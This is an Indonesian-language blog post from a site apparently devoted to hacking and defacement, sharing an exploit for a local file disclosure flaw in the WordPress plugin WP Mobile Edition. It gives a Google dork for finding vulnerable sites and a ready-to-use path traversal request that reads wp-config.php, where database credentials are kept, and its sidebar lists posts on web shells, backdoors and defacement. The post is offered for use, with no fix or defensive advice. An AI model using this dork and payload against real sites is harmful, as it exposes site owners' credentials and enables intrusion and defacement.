• Skip to primary navigation
  • Skip to main content
  • Skip to primary sidebar

LinuxSec Exploit

Nothing is Ever Locked

  • XSS Payloads
  • About Us

Exploit WordPress Plugin WP Mobile Edition Local File Disclosure Vulnerability

April 15, 2015 by Jack Wilder Leave a Comment

Yupp, kali ini mau share lagi exploit pada WordPress yang memiliki celah pada plugins WP Mobile Edition.
Plugin ‘WP Mobile Edition’ ini tidak memfilter parameter GET file di /themes/mTheme-Unus/css/css.php . Alhasil kita juga dapat melihat source dari konfigurasi WordPress yang terletak di wp-config.php .
Oke langsung saja.
Google Dorks :
inurl:?fdx_switcher=mobile
Exploit :
127.0.0.1/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

Tested on : BackBox Linux

Sekian tutor kali ini semoga bermanfaat.

Shares

Filed Under: WordPress Exploit Tagged With: Bugs, Deface, Exploit, Security, Wordpress

Reader Interactions

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Primary Sidebar

Popular Post

Download 1n73ct10n / 1n73ction Privat Web Shell by X’1N73CT

Exploit WordPress Ajax Load More PHP Upload Vulnerability

Command Injection Bypass Cheatsheet

Arti dari Kata Deface yang Sering Dibahas oleh para Hacker

Exploit WPStore Themes Upload Vulnerability

Uptimerobot.com Custom Domain or Subdomain Takeover

FastMail Custom Domain or Subdomain Takeover

Bruteforce FTP Login dengan Metasploit Module FTP Authentication Scanner

Upload Backdoor Lewat MySQL Database (phpMyAdmin)

Deface WordPress dengan Exploit WordPress Plugins WPShop File Upload Vulnerability

Powered by WordPress and Genesis Framework. Style by LinuxSec.